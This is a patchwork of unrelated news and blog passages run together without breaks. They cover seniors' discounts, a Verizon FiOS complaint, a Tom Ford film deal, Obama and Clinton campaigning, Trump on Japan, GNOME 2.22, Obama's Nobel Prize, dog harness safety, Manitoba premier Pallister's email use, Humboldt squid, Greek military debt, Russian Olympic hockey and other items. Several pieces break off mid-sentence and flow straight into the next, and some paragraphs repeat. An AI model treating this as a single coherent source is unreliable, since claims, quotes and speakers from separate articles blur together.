Yet a discount for one age group inevitably means higher prices paid by others. Considering the massive shift in seniors’ incomes and wealth over the past four decades, younger generations wonder, justifiably, why they’re left to pay full freight for the necessities of life. “I don’t begrudge seniors their discount,” says Kerry Taylor, the 39-year-old author of the popular bargain-hunting website Squawkfox, in an interview. “But I’m getting pinched left, right and centre; daycare costs me more than my rent. It’s hard being young. So where’s my discount?”
Anger at seniors discounts seems to deepen the further one is from one’s own golden years. “It’s Millennials, not seniors, who are vulnerable today,” writes twentysomething Priceonomics blogger Alex Mayyasi, lamenting the dismal job prospects and high debt loads carried by his cohort. “If you’re a Millennial, the next time you see an adorable old lady paying less bus fare with her senior discount, demand that you receive the discount instead of her. Tell the driver it’s the ‘screwed Millennial’ discount.”
Intergenerational gripes aside, Ken Wong, a marketing expert at Queen’s University’s school of business in Kingston, Ont., cautions it’s a mistake to confuse marketing strategy with social justice. “With Baby Boomers, the most populous segment of the population, it simply makes sense from a marketing perspective, to use pricing as a |
which never mentioned fiber to-the-home or FiOS TV or has anything about an actual deployment past the beginning areas. Instead, it reveals a plan for wireless that, it appears, is going to be using the state utility--Title II, fiber optic wired networks- and paid for by wireline phone customers.
This means that the entire state has also been deceived as, instead of properly upgrading and maintaining the copper networks, they are playing games to divert the construction budgets to a separate company - Verizon Wireless - so that they can make more money and get rid of 'labor'.
And this means that the entire East Coast has been conned as well as Verizon has no plans to do any other city - and if they do, they will use this wireless con--even when the wireline customers are footing the bills.
As we detailed in New York, Verizon received multiple rate increases to do'massive deployment of fiber optics'--(which was diverted to fund wireless). Doesn't this violate both state and federal laws? Verizon Wireless is not the wireline franchise holder, yet it is controlling the wireline fiber build out for wireless.
Everyone who lives in the Verizon 'footprint' - not to mention the entire United States east coast, from Massachusetts to Virginia, should start demanding investigations of the wireless cross-subsidies.
And Boston? Did the Mayor and staff actually sign this agreement knowing it had nothing to do with bringing a fiber to the home service to customers?
There is absolutely NO evidence to show that based on this bathroom paper-based 4 page cooperation agreement that the areas mentioned will be completed, or that any other part of the City of Boston will ever get FiOS wired services.EXCLUSIVE Updated Sunday 11:31 AM: Focus Features has secured worldwide rights for Nocturnal Animals, Tom Ford’s film followup to his debut A Single Man. The company confirmed Deadline’s scoop this morning. The deal was driven by Focus Features, with Universal backing up Peter Schlessel’s label and handling the film overseas. The total deal is worth $20 million, I hear, with an 8-figure P&A commitment. That makes this by far the big deal of the festival, and one of the biggest in recent years. CAA and FilmNation’s Glen Basner handled negotiations on the film.
Ford wrote the script, an adaptation of the 1993 Austin Wright book Tony And Susan. The film will star Amy Adams and Jake Gyllenhaal and Ford is producing. The logline: out of the blue, Susan Morrow receives a package containing the manuscript of her ex-husband’s first novel. As she reads, she is drawn into the fictional life of Tony Hastings. As his ordinary life is violently set off course, Susan is forced to confront her own past. The title comes from one of the stories in the book.
Buyers were moved by Ford’s presentation at the Carlton Hotel days ago, and they have been making offers. Ford was initially reticent, because he wants creative control throughout production and to have a strong say in how the movie is released and marketed. He had the wherewithal to self-finance the film, but seemed to have a change of heart as the offers kept pouring in. Remarkably and maybe mercifully, this one didn’t require an all night bargaining session. It has been percolating since yesterday, when Ford became open to a worldwide deal.
Having all rights handled by one place simplifies things, and Schlessel’s team certainly distinguished itself in its handling of The Theory Of Everything, the Best Picture nominee which won Eddie Redmayne the Best Actor Oscar for his portrayal of Stephen Hawking, and a nomination for Felicity Jones for her portrayal of Jane Hawking. The film garnered a total of five Oscar nominations and grossed $120 million worldwide.
“Tom’s vision for his film is unique and inspiring and something that global audiences will be thrilled by,” Schlessel said in confirming the deal. “Tom has proven his prowess as a filmmaker and this romantic tale of revenge and regret will be a fantastic addition to our slate”
Focus president of acquisitions Lia Buman and EVP business affairs Beth Lemberger negotiated on behalf of the studio. Peter Kujawski, managing director of Universal Pictures International Productions, was also instrumental in the agreement.President Barack Obama seemed happy to be back on the trail during his first joint campaign appearance of 2016 with presumptive Democratic nominee Hillary Clinton, heaping on the praise at a rally in Charlotte, North Carolina.
After extolling North Carolina's food and basketball, President Obama told the crowd he was "fired up" and talked about his time both campaigning against Clinton and serving with her in his administration.
"Everybody can tweet, but nobody actually knows what it takes to do the job until you've sat behind the desk," Obama said. "There has never been any man or woman more qualified for this office than Hillary, ever, and that's the truth."
Specifically mentioning issues like immigration and gun control, Obama took a jab at presumptive Republican nominee Donald Trump while linking his time in office to Clinton's current campaign.
"This is not a reality show, this is reality," Obama said. "I'm ready to pass the baton, and I know that Hillary Clinton is going to take it."
Before Obama spoke, Clinton lauded her former boss and colleague.
"I feel very privileged because I've known the president in many roles, as a colleague in the Senate, as an opponent in a hard-fought primary, and as the president I was so proud to serve as secretary of state," Clinton said.
"I've also known him as the friend that I was honored to stand with in the good times and the hard times, someone who has never forgotten where he came from, and Donald if you're out there tweeting, it's Hawaii," she added in a jab at Trump.
She praised Obama specifically for "saving our economy" from a second Great Depression and increasing health care coverage and clean energy production.
"This is what leadership looks like," she said.
Obama joined Clinton on the campaign trail on Tuesday about a month after he formally endorsed her. Their joint appearance was originally scheduled to take place in mid-June in Wisconsin before being postponed in the aftermath of the Orlando nightclub mass shooting.
The appearance came during a day of mixed news for Clinton. Earlier Tuesday, FBI Director James Comey said his office is not recommending that prosecutors bring charges against Clinton for her handling of classified information in connection with private email servers while she served as secretary of state. However, he did say Clinton and her team were "extremely careless in their handling of very sensitive, highly classified information."
No mention of Comey's remarks or the email controversy was made at the rally, though Obama did say that "Hillary has got her share of critics. That's what happens when you're somebody who is actually in the arena."
Earlier Tuesday, Trump and other Republicans jumped on Comey's remarks and heavily criticized Clinton.
Trump was scheduled to speak in Raleigh, North Carolina, later Tuesday evening. The Tar Heel State is a major presidential battleground state. Obama won it in 2008 before it flipped to Republican Mitt Romney in 2012.Republican presidential candidate Donald Trump stirred international concern in April by stressing that Japan and South Korea must be prepared to arm themselves to deter a threat from North Korea (AFP Photo/Sarah Rice)
White House hopeful Donald Trump savaged US ally Japan Friday, expressing frustration that Washington must defend the Asian nation but that if the United States is attacked, Japanese can "sit home and watch Sony television."
The Republican nominee launched the broadside during a speech in Iowa where he reprised his criticism of countries that do not pull their weight in terms of financial contributions to NATO, and of countries like Japan and South Korea that receive US protection.
"You know we have a treaty with Japan, where if Japan is attacked, we have to use the full force and might of the United States," Trump said.
"If we're attacked, Japan doesn't have to do anything. They can sit home and watch Sony television, OK?"
Trump added that the United States protects Japan, South Korea, Germany, Saudi Arabia and other nations, and "they don't pay anything near what it costs."
"They have to pay. Because this isn't 40 years ago," he added.
"It's got to be a two-way street."
Japan's alliance with Washington has been the bedrock of its defense since the end of World War II, and the country still hosts 47,000 US troops.
Trump stirred international concern in April by stressing that NATO member states should begin paying their "fair share," and that Japan and South Korea must be prepared to arm themselves to deter a threat from North Korea.
"It could be that Japan will have to defend itself against North Korea," Trump said Friday.
"You always have to be prepared to walk," Trump said about getting allies to carry their financial weight.
"I don't think we'll walk, I don't think it's going to be necessary. It could be, though."A new GNOME
The latest release of the GNOME desktop environment includes a number of significant architectural enhancements and new applications that offer increased power and usability. Released after six months of intensive development, GNOME 2.22 will be included in Ubuntu 8.04 and Fedora 9, which are scheduled for release in April.
GNOME is an open-source desktop environment that emphasizes freedom, reliability, and ease of use. It is developed collaboratively by a global community of volunteer contributors and professional programmers who aim to create a cohesive platform for computer interaction and third-party application development. It is distributed under the GNU's General Public License and Lesser General Public License which broadly protect users' rights to modify, adapt, and redistribute software.
This article will examine many of the new features and programs included in GNOME 2.22 and illuminate how the changes and improvements impact the overall user experience. We will also provide some insight into some of the new architectural features and demonstrate how they can be leveraged by third-party software developers.
We did most of our testing with Foresight 2.0, which was released two weeks ago shortly after the official release of GNOME 2.22. The Foresight Linux distribution is our preferred distro for GNOME reviews because it is very closely aligned with the upstream release and deviates very little from a standard GNOME installation. We have also tested GNOME 2.22 in prereleases of Fedora 9 and Ubuntu 8.04.
In this review, we'll look at some of the new applications included in GNOME 2.22. We'll then touch on some of the new features in the latest release, followed by a look under the hood at some of the architectural improvements. We'll conclude with a look ahead at what we can expect in the next version of GNOME.OSLO (AP) -- The announcement drew gasps of surprise and cries of too much, too soon. Yet President Barack Obama won the Nobel Peace Prize on Friday because the judges found his promise of disarmament and diplomacy too good to ignore.
The five-member Norwegian Nobel Committee - four of whom spoke to The Associated Press, said awarding Obama the peace prize could be seen as an early vote of confidence intended to build global support for the policies of his young administration.
They lauded the change in global mood wrought by Obama's calls for peace and cooperation, and praised his pledges to reduce the world stock of nuclear arms, ease U.S. conflicts with Muslim nations and strengthen its role in combating climate change.
"Some people say - and I understand it - 'Isn't it premature? Too early?' Well, I'd say then that it could be too late to respond three years from now," Thorbjoern Jagland, chairman of the Norwegian Nobel Committee, told the AP. "It is now that we have the opportunity to respond - all of us."
Jagland said the committee whittled down a record pool of 205 nominations and had "several candidates until the last minute," but it became more obvious that "we couldn't get around these deep changes that are taking place" under Obama.
Obama said he was surprised and deeply humbled by the honor, and planned to travel to Oslo in December to accept the prize.
"Let me be clear: I do not view it as a recognition of my own accomplishments, but rather as an affirmation of American leadership on behalf of aspirations held by people in all nations," he said at the White House. "To be honest, I do not feel that I deserve to be in the company of so many of the transformative figures who've been honored by this prize."
Obama will donate the $1.4 million cash award that comes with the prize to charity.
Archbishop Desmond Tutu of South Africa, who won the prize in 1984, said the decision showed that great things are expected from Obama and "wonderful recognition" of his effort to reach out to the Arab world after years of hostility.
"It is an award that speaks to the promise of President Obama's message of hope," Tutu said.
Many were shocked by the unexpected choice so early in a presidency that began less than two weeks before the Feb. 1 nomination deadline for the prize and has yet to yield concrete achievements in peacemaking.
"So soon? Too early. He has no contribution so far. He is only beginning to act," said former Polish President Lech Walesa, who won the peace prize in 1983.
Some around the world objected to the choice of Obama, who still oversees wars in Iraq and Afghanistan and has launched deadly counterterrorism strikes in Pakistan and Somalia.
Jagland told AP that while the war in Afghanistan was a concern, the Obama administration "immediately started to reassess the strategy."
"That itself is important, because when something goes wrong, then you need to ask yourself why is it going wrong," he said.
Watch an interview with Thorbjoern Jagland:
Obama said he was working to end the war in Iraq and "to confront a ruthless adversary that directly threatens the American people and our allies" in Afghanistan, where he is seriously considering increasing the number of U.S. troops on the ground and asking for help from others as the war enters its ninth year.
Taliban spokesman Qari Yousef Ahmadi in Afghanistan condemned the Nobel committee's decision, saying Obama had only escalated the war and had "the blood of the Afghan people on his hands."
Iranian Foreign Minister Manouchehr Mottaki called the Nobel decision "hasty."
"The appropriate time for awarding such a prize is when foreign military forces leave Iraq and Afghanistan and when one stands by the rights of the oppressed Palestinian people," he was quoted as saying by the Mehr news agency.
Aagot Valle, a lawmaker for the Socialist Left party who joined the Nobel committee this year, said she hoped the selection would be viewed as "support and a commitment for Obama."
"And I hope it will be an inspiration for all those that work with nuclear disarmament and disarmament," she told AP in a rare interview. Members of the committee usually speak only through its chairman.
The peace prize was created partly to encourage ongoing peace efforts, but Obama's efforts are at far earlier stages than those of past winners, and the committee acknowledged they may not bear fruit at all.
"If everything goes wrong, then one cannot say that this was because of Barack Obama," Jagland said. "It could be that it is because of us, all the others, that didn't respond. But I cannot exclude that Barack Obama also can contribute to the eventual failure."
In Europe and much of the world, Obama is praised for bringing the U.S. closer to mainstream global thinking on such issues as climate change and multilateralism. A 25-nation poll of 27,000 people released in July by the Pew Global Attitudes Project found double-digit boosts to the percentage of people viewing the U.S. favorably in countries around the world. That indicator had plunged across the world under President George W. Bush.
The award appeared to be at least partly a slap at Bush from a committee that harshly criticized Obama's predecessor for his largely unilateral military action in the wake of the Sept. 11 terror attacks.
"Those who were in support of Bush in his belief in war solving problems, on rearmament, and that nuclear weapons play an important role... probably won't be happy," said Valle.
At home, the picture is more complicated. Obama is often criticized by his political opponents as he attempts to carry out his agenda - from government spending to health care to Afghanistan.
Republican Party Chairman Michael Steele said Obama won because of his "star power" rather than meaningful accomplishments.
"The real question Americans are asking is, 'What has President Obama actually accomplished?'" Steele said.
Drawing criticism from some on the left, Obama has been slow to bring troops home from Iraq and the real end of the U.S. military presence there won't come until at least 2012.
The Nobel committee said it paid special attention to Obama's vision of a nuclear-free world, laid out in a speech in Prague and in April and at the United Nations last month.
Former Peace Prize winner Mohamed ElBaradei, director general of the International Atomic Energy Agency in Vienna, said Obama has already provided outstanding leadership on nuclear non-proliferation.
"He has shown an unshakable commitment to diplomacy, mutual respect and dialogue as the best means of resolving conflicts," ElBaradei said.
In July talks in Moscow, Obama and Russian President Dmitry Medvedev agreed that their negotiators would work out a new limit on delivery vehicles for nuclear warheads of between 500 and 1,100. They also agreed that warhead limits would be reduced from the current range of 1,700-2,200 to as low as 1,500. The U.S. now has about 2,200 such warheads, compared to about 2,800 for the Russians.
There has been no word on whether either side has started to act on the reductions.
Obama also has tried to restart stalled Mideast talks with no progress yet reported.
In the Gaza Strip, leaders of the radical Hamas movement said they had heard Obama's speeches on better relations with the Islamic world but had not been moved.
"We are in need of actions, not sayings," Prime Minister Ismail Haniyeh said. "If there is no fundamental and true change in American policies toward the acknowledgment of the rights of the Palestinian people, I think this prize won't move us forward or backward."
Obama has said that battling climate change is a priority. Yet the U.S. seems likely to head into crucial international negotiations set for Copenhagen in December with Obama-backed legislation still stalled in Congress.
Unlike the other Nobel Prizes, which are awarded by Swedish institutions, the peace prize is given out by the five-member committee elected by the Norwegian Parliament. Like the Parliament, the panel has a leftist slant, with three members elected by left-of-center parties and two right-of-center members. Jagland said the decision to honor Obama was unanimous.
The secretive committee declined to say who nominated Obama. In Nobel tradition, nominations are kept secret for 50 years, unless those making the submissions go public about their picks. This year's nominations included Colombian activist Piedad Cordoba, Afghan woman's rights activist Simi Samar and Denis Mukwege, a physician in war-torn Congo who opened a clinic to help rape victims.
Nominators for the prize are broad and include former laureates; current and former members of the committee and their staff; members of national governments and legislatures; university professors of law, theology, social sciences, history and philosophy; leaders of peace research and foreign affairs institutes; and members of international courts of law.
Obama is the third sitting U.S. president to win the award: President Theodore Roosevelt won in 1906 and President Woodrow Wilson was awarded the prize in 1919.
In his 1895 will, Alfred Nobel stipulated that the peace prize should go "to the person who shall have done the most or the best work for fraternity between the nations and the abolition or reduction of standing armies and the formation and spreading of peace congresses."Dog Car Seat Harnesses - Are They Safe?
There has been a lot of buzz going on about dog car seat harnesses and if they are as safe as the manufacturer claims. There is good reason, too. Pet safety manufacturers make claims based on their own tests of their products, but there are no uniform performance standards set for pet travel safety products. So the test passes, but who made the test? They did.
My family always had Subaru's while I was growing up. They have been hailed as some of the safest vehicles on the road, and in a first time study, Subaru of America teamed up with specialists to determine if these products stood up to the claims made. These tests were carried out at the same testing center used by the U.S. Department of Transportation (DOT). They took the seven most popular dog harnesses, and tested them in a simulated collision at 60 MPH. The results were horrifying! Most of the harnesses broke. Some tore, and some came completely detached!
The American Pet Products Association gave the CPS report praise, however they did not have a formal position on it. They do however support the effort to improve and enhance pet safety.
Source: http://centerforpetsafety.org/wp-content/uploads/2012/05/2013_cps_harness_study_summary_final_rev101113.pdf
So... what's the deal here! We set out to buy something for our pets that will keep them safer, when in reality it is just creating false comfort. This goes to show that no matter what claims are made on a product, use your best judgement and try not to fall for marketing tricks. My advice is to get things your friends can recommend to you.
Stay safe! Walk your dog at night with our LED Dog Collar.
The Pet's Tech
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A Free Press search has found no indication Pallister has a personal government email account. There is no Brian Pallister registered in the legislature’s email database, and premier@leg.gov.mb.ca is a general email account, used by staff for general communication from the premier’s office.
Moreover, in response to questions from the Free Press, Pallister’s office has disclosed the premier is not receiving any documents once he has left Manitoba to spend weeks at a time in Costa Rica.
Records obtained by the Free Press show for the first three months as premier, Pallister had no email communication with any of his senior political staff, including his chief of staff and director of communications.
Brian Pallister appears to be a premier who doesn’t use email — a revelation raising questions about how much work he is actually doing while residing at his Costa Rica property.
Hey there, time traveller! This article was published 6/1/2017 (782 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 6/1/2017 (782 days ago), so information in it may no longer be current.
Brian Pallister appears to be a premier who doesn’t use email — a revelation raising questions about how much work he is actually doing while residing at his Costa Rica property.
Records obtained by the Free Press show for the first three months as premier, Pallister had no email communication with any of his senior political staff, including his chief of staff and director of communications.
Moreover, in response to questions from the Free Press, Pallister’s office has disclosed the premier is not receiving any documents once he has left Manitoba to spend weeks at a time in Costa Rica.
A Free Press search has found no indication Pallister has a personal government email account. There is no Brian Pallister registered in the legislature’s email database, and premier@leg.gov.mb.ca is a general email account, used by staff for general communication from the premier’s office.
The Free Press repeatedly asked Pallister’s staff if he sends or receives emails, but no answer was given. There was also no answer given when asked if Pallister used a personal email account.
When Pallister’s office made clear the premier would be spending the Christmas holidays and much of January in the Central American country, the Tories went to great lengths to argue he would continue in his role as premier by maintaining regular contact with his cabinet and staff.
"It would be surprising for someone to head out of the province for weeks at a time and not have measures in place to be receiving documents securely and be up to speed on what is happening," said Minto MLA Andrew Swan, the NDP’s justice critic.
"That might have been the way it worked in the ’50s, but that is not the way it works now."
Reads briefing notes, writes documents
The Free Press asked Olivia Baldwin-Valainis, the premier’s communications director, to explain how Pallister is living up to his claim he will be working while in Costa Rica.
Baldwin-Valainis said while Pallister is away, he reads briefing notes and writes documents. However, no new documents are being sent to the premier. It is also unclear if the premier has an Internet connection in Costa Rica, as no answer was given when the Free Press asked.
"The premier’s trips to Costa Rica coincide with sessional breaks, and as such his working vacations involve a significant amount of reading of briefing notes, reports and other documents prepared for him on a wide array of government topics," Baldwin-Valainis said.
"As the premier participates in cabinet meetings in person, there is no need for secure documents to be delivered to him once he has departed the province."
In a December year-end interview with the Free Press, Pallister revealed he plans to spend roughly two months over the course of the year in Costa Rica.
"I hope we can continue to do that because I work about 60 hours a week when I am here, and I work when I am there, too," Pallister said.
Phone calls for urgent topics
An investigation by the CBC last year revealed during his time as Opposition leader, Pallister spent roughly one in five days in Costa Rica.
In a Dec. 19 interview with Global, Pallister said since he was sworn into office he has spent about four weeks in the Central American country.
An order-in-council passed May 3 put in place the mechanisms for when a premier or minister is absent — which is standard practice by all governments. When Pallister is away, the powers of the premier pass on to Justice Minister Heather Stefanson. In the event of her absence, the powers transfer to Health Minister Kelvin Goertzen.
Baldwin-Valainis said in situations where the premier’s direct input is required on urgent topics, "phone calls are arranged between the premier and senior political staff."
She pointed to the recent meeting between provincial health and finance ministers in Ottawa, where Pallister was made aware of the situation in that manner.
When Pallister returns from Costa Rica, he has prepared "numerous speeches and other items have been prepared, which are then tasked to various staff for action," she said.
No staff travel with Pallister to Costa Rica, and there are no government expenditures associated with his trips, she added.
'Not a semi-retirement position'
Royce Koop, a political studies professor at the University of Manitoba, said modern technology offers the opportunity for Pallister to work remotely and still help govern the province while in Costa Rica — as long as he uses these tools.
"You can access information remotely and direct people remotely. But there are also limits to this... there is some utility to people coming together and working together in an office, and there is usefulness to being present," said Koop, who said Pallister likely corresponds by phone frequently.
He said when Pallister is in Manitoba, having staff to facilitate communications likely compensates for him not using email.
"He can delegate effectively, and if he wants to communicate with someone... he doesn’t send an email. It just means he picks up the phone and does it. It is just a little bit more old-fashioned," he said.
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"But if he is going to claim that he is going to be working remotely (in Costa Rica), then asking, ‘How you are actually going to do that remotely?,’ that is a fair question."
Officials with the NDP said former premier Greg Selinger liked to communicate by phone but did send and receive emails. Swan, who was the province’s justice minister for five years, said being a politician means you have to always be reachable and glued to technology.
"I remember being on holidays and sneaking out to the hotel to make phone calls, to receive briefings. I would receive documents by email and review them on holiday time," said Swan.
"The premier of Manitoba is not a semi-retirement position."
kristin.annable@freepress.mb.ca
Twitter: @kristinannableMarine biologists have learned new secrets about the Humboldt squid by attaching video cameras to the elusive creature, which has a razor sharp beak and hooks on its suckers and can reach the size of a grown man.
The footage revealed previously unknown information about the carnivorous squid, including that they hunt in large, synchronized groups, are able to travel at nearly 45 mph and rapidly change their body color when they are near other Humboldt squid to communicate, according to a study from Stanford University.
Researchers used the National Geographic Society's "Crittercam" to film the behavior of the squid. Getting the camera on the slippery squid took some MacGyver-like innovation. William Gilly, of Stanford University's Hopkins Marine Station in Monterey, Calif., used a child's bathing suit cut to fit like an elastic sleeve.
The footage, along with tagging studies, have shed new light on the creatures.
"They undergo big migrations for such a short-lived animal," said former Stanford undergraduate Lauren Bell, who coauthored the Crittercam study. "It was a mystery how they were able to satisfy energy demands that allow for both growth and travel."
Gilly said the footage from the crittercam "shows several really interesting things," including the squid changing the diameter of its funnel to help propel itself in a controlled way. They also and saw that Humboldt squid only strobe their red and white chromatophores naturally when they come into proximity with the same species.
Last year researchers were puzzled when shoals of Humbolt squid were found beaching themselves by the hundreds last year along the coast of the Monterey Bay. One hypothesis for the mass stranding is that the the squid got lost in new territory; the creatures are usually seen much further south along the California coast.Somewhere in a Greek jail, the former defence minister, Akis Tsochatzopoulos, watches the financial crisis unfold. I wonder how partly responsible he feels? In 2013, Akis (as he is popularly known) went down for 20 years, finally succumbing to the waves of financial scandal to which his name had long been associated. For alongside the lavish spending, the houses and the dodgy tax returns, there was bribery, and it was the €8m appreciation he received from the German arms dealer, Ferrostaal, for the Greek government’s purchase of Type 214 submarines, that sent him to prison.
There is this idea that the Greeks got themselves into this current mess because they paid themselves too much for doing too little. Well, maybe. But it’s not the complete picture. For the Greeks also got themselves into debt for the oldest reason in the book – one might even argue, for the very reason that public debt itself was first invented – to raise and support an army. The state’s need for quick money to raise an army is how industrial-scale money lending comes into business (in the face of the church’s historic opposition to usury). Indeed, in the west, one might even stretch to say that large-scale public debt began as a way to finance military intervention in the Middle East – ie the crusades. And just as rescuing Jerusalem from the Turks was the justification for massive military spending in the middle ages, so the fear of Turkey has been the reason given for recent Greek spending. Along with German subs, the Greeks have bought French frigates, US F16s and German Leopard 2 tanks. In the 1980s, for example, the Greeks spent an average of 6.2% of their GDP on defence compared with a European average of 2.9%. In the years following their EU entry, the Greeks were the world’s fourth-highest spenders on conventional weaponry.
So, to recap: corrupt German companies bribed corrupt Greek politicians to buy German weapons. And then a German chancellor presses for austerity on the Greek people to pay back the loans they took out (with Germans banks) at massive interest, for the weapons they bought off them in the first place. Is this an unfair characterisation? A bit. It wasn’t just Germany. And there were many other factors at play in the escalation of Greek debt. But the postwar difference between the Germans and the Greeks is not the tired stereotype that the former are hardworking and the latter are lazy, but rather that, among other things, the Germans have, for obvious reasons, been restricted in their military spending. And they have benefited massively from that.
Debt and war are constant partners. “The global financial crisis was due, at least in part, to the war,” wrote Nobel prize-winning economist Joseph Stiglitz, calculating the cost of the US intervention in Afghanistan and Iraq, pre-financial crash, to have been $3tn. Indeed, it was only this year, back in March, that the UK taxpayer finally paid off the money we borrowed to fight the first world war. “This is a moment for Britain to be proud of,” said George Osborne, as he paid the final instalment of £1.9bn. Really?
The phrase “military-industrial complex” is one of those cliches of 70s leftwing radicalism, but it was Dwight D Eisenhower, a five-star general no less, who warned against its creeping power in his final speech as president. “This conjunction of an immense military establishment and a large arms industry is new in the American experience. The total influence – economic, political, even spiritual – is felt in every city, every state house, every office of the federal government … we must not fail to comprehend its grave implications. Our toil, resources and livelihood are all involved; so is the very structure of our society.” Ike was right.
This week, Church House, C of E HQ, hosted a conference sponsored by the arms dealers Lockheed Martin and MBDA Missile Systems. We preach about turning swords into ploughs yet help normalise an industry that turns them back again. The archbishop of Canterbury has been pretty solid on Wonga and trying to put legal loan sharks out of business. Now the church needs to take this up a level. For the debts that cripple entire countries come mostly from spending on war, not on pensions. And we don’t say this nearly enough.
@giles_fraserWell, this gives a whole new meaning to the phrase “fly-over country!”
A rancher outside Denver wanted to make a HUGE political statement to people flying in and out of the blue state that went from Hillary in 2016, so he did it in the only way he knew how: He carved a mile-long Trump sign into his property.
9News reports:
“The letters are 800 feet wide and approximately 800 feet long,” Koehn said. “A mile-long Trump.” You can’t really read it from ground level. The first time Koehn saw the whole thing in one frame was when 9NEWS showed up with a drone to see it. … Koehn says he’s never voted before last year’s election, when he was inspired to cast a ballot for Trump. He tells 9NEWS he’s “embarrassed” that Colorado voted for Hillary Clinton last year and wanted to show that Trump has healthy support in Colorado’s rural Eastern plains.
Surprisingly, the job was completed in only two hours and all it took was his son guiding his tractor, “My son come out and stepped it off and I just drove the tractor to wherever he was standing.”
Check out this local news story that interviews Koehn and shows some amazing aerial views of this incredible sign.
Read this Next on ThePoliticalInsider.com ‘Avengers’ Star Compares Donald Trump to a Plantation Owner
What do you think: Would you carve a huge Trump sign like this into your property? Tell us in the comments below!Fancy connecting with Raspberry Pi beyond the four imaginary walls of this blog post? Want to find ways into the conversation among our community of makers, learners, and educators? Here’s how:
Twitter
Connecting with us on Twitter is your sure-fire way of receiving the latest news and articles from and about the Raspberry Pi Foundation, Code Club, and CoderDojo. Here you’ll experience the fun, often GIF-fuelled banter of the busy Raspberry Pi community, along with tips, project support, and event updates. This is the best place to follow hashtags such as #Picademy, #MakeYourIdeas, and # |
, Voynov
Defense Line 3- Nikulin, Volchenkov
7th Defenseman- Orlov
The biggest question mark on the back-end has to be Markov. Can he be healthy enough to play? Gonchar will be too old to anchor the powerplay and we have enough talent to do that for us. Kovalchuk can man those duties on the first unit with Markov. The upside of the Russian D here is huge. With the KHL pumping money into the Russian hockey system we have started to develop more and more talented players, who also spend more time playing in North America. There has never been more money involved in hockey in Russia then it is today and the talent pool reflects that. With Kulikov looking to claim number two spot on the Panthers’ defensive depth chart and with Voynov and Volchenkov having played very well in the playoffs for the LA Kings and Devils, I see a defensive unit that will blossom just in time for the 2014 Olympic Games.
The weakest point in my opinion for the Russian Olympic team is the goaltending. Goaltending a year ago would have been a done deal. We had Bryzgalov. But after the less than perfect season last year (I’m being too kind, I know), I am not so sure. We do have some younger goaltenders coming into their own with Varlamov leading the charge. He performed in almost dominating fashion during the IIHF World Championship going with eight wins and zero loses. His NHL numbers are not as great but he only had one year as a full timer on a rebuilding Colorado squad, so there is room to improve. Bryzgalov would need to bounce back to claim the number one Russian goalie spot back from Varly. Andrei Vasilevski is another young prospect who has played well in the international competitions. He posted excellent numbers in U18 tournament in 2011 and at WJC in 2012, finishing both tournaments with an average GAA of 2.32 and SV% of.958. Unless he takes over a number one spot in the NHL in the next two years with some Vezina type play, which is highly doubtful since he is only 18, he will be the third guy in.
Goaltenders- Varlamov (starter), Bryzgalov (back-up)
3rd Goalie- Vasilevski
So while looking at the above line up and comparing to what Canada can ice, it seems a bit weak. The Russian National team has an X-Factor. No, not the vodka that may or may not be in their waterbottles, but in their new head coach, Zinetula Bilyaletdinov. He has an old school Soviet, defensive, puck possession coaching style, which helped Russia go 12-0 in the 2012 IIHF World Championship. This should be no surprise as he played defense for one of the most dominant Red Army teams to take the ice. Playing for them from 1973 to 1988 he got to play with the best of the best in the history of Russian hockey. You know what he can do that apparently no USA head coach has been able to do for the past two years? Motivate Alexander Semin! Semin had 5 points for him in 3 games. He also showed up in the Gold Medal game with 2 goals and 1 assist. So if he can get these guys playing to their potential during a World Championship, I am sure he will get them jumping through hoops for the Olympic games.
So there you have it. My opinion on the 2014 Russian Olympic squad. With a bunch of names that most North American fans have never heard of, but will surely remember after the 2014 Olympics!
Follow me on Twitter – @LastWordOnNHL, and check out my column, “NHL Happy Hour“.The iPhone 5S, left, and iPhone 5c are displayed Tuesday in New York. The 5S offers a fingerprint sensor, a better camera and a faster processor, while the iPhone 5C is largely last year's iPhone 5 with a plastic back and a choice of five colors. The iPhone 5S, left, and iPhone 5c are... Photo by Associated Press /Times Free Press.
SMARTPHONE OWNERSHIP BY AGE The share of those with smart phones is greatest among those in their 20s and early 30s: * 18-24 years old - 79 percent * 25-34 years ago - 81 percent *35-44 years old - 69 percent *45-54 years old - 55 percent *55-64 years old - 39 percent *Age 65 and older - 18 percent Source: Pew Research Center, June 2013
POLL: Do you have a smartphone? no
yes Submit Results no: 33.33 % (1) yes: 66.67 % (2) Total Responses: 3
A majority of American adults now own a smartphone - and Internet providers are starting to target that growing mobile market by rolling out smartphone apps that extend the home Internet experience to the road.
"People have become busier, entertainment options have become greater, and they look wherever they can to see what they want, when they want, where they want," said Jim Weigert, Comcast Chattanooga general manager.
The company released a new "Family Sense" app last week that allows parents to track their child's location and quickly see social media activities.
The app is the ninth Comcast has released, and the first that will carry a monthly charge. It's free for 60 days, then costs $9.95 per month. Other Comcast Xfinity apps give users the ability to watch shows and movies on the road, use a smart device as a remote control or adjust their homes' lights or thermostats while on the go.
"More people own smartphones than regular phones," Weigert said. "The kind of growth is just amazing. That's why it's important to have these options."
Fifty-six percent of all American adults own smart phones, according to a June report by the Pew Research Center. About 35 percent of adults own a non-smart cell phone and just 9 percent don't own any cell phone.
Expanding to the mobile market is an essential next step for Internet providers, Weigert said.
"DVRs started 10 years ago and that was time shifting," he said. "You could record a show and watch it later on your schedule. Now, not only can you time shift, you can place shift. That's where mobile apps come in."
Comcast isn't the only provider delving into the mobile app world. AT&T offers a slew of apps that allow users to do everything from control their home DVRs remotely to sing karaoke.
"We're focused on apps that are easy to use, and enhance the content," said Cathy Lewandowski, AT&T spokeswoman. "What we're doing today, and where we're headed, is just the beginning. We're living in a mobile world."
At EPB, several mobile apps are under development and some are currently being tested, said Katie Espeseta, vice president of new products.
"We recognize the importance of mobile apps," she said. "We're spending time with local customers in focus groups and interviews to understand the types of applications our customers want. As soon as we fine tune those, some time this year, we'll be rolling out multiple apps."
She said the company plans to keep app development as an ongoing project for the long-term.
"We don't ever want to say we're through developing apps," she said. "It's one of those things that will go on forever as new applications arise. Customers are headed toward shortcuts to get what they need quickly, and adding mobile apps is one way to do that."
Contact staff writer Shelly Bradbury at 423-757-6525 or at sbradbury@timesfreepress.com.After a solid day of bad press, DC Entertainment have consented to allow a statue being erected in memory of a five-year-old who died in 2002 to feature the Superman logo.
The iconic, pentagonal "S" shield was at issue after lawyers for Warner Bros., DC's parent company, reportedly nixed a request to include it in the sculpture. While the rejection made international headlines yesterday, sources indicated to ComicBook.com that DC were continuing to mull the decision and that a reversal was likely imminent.
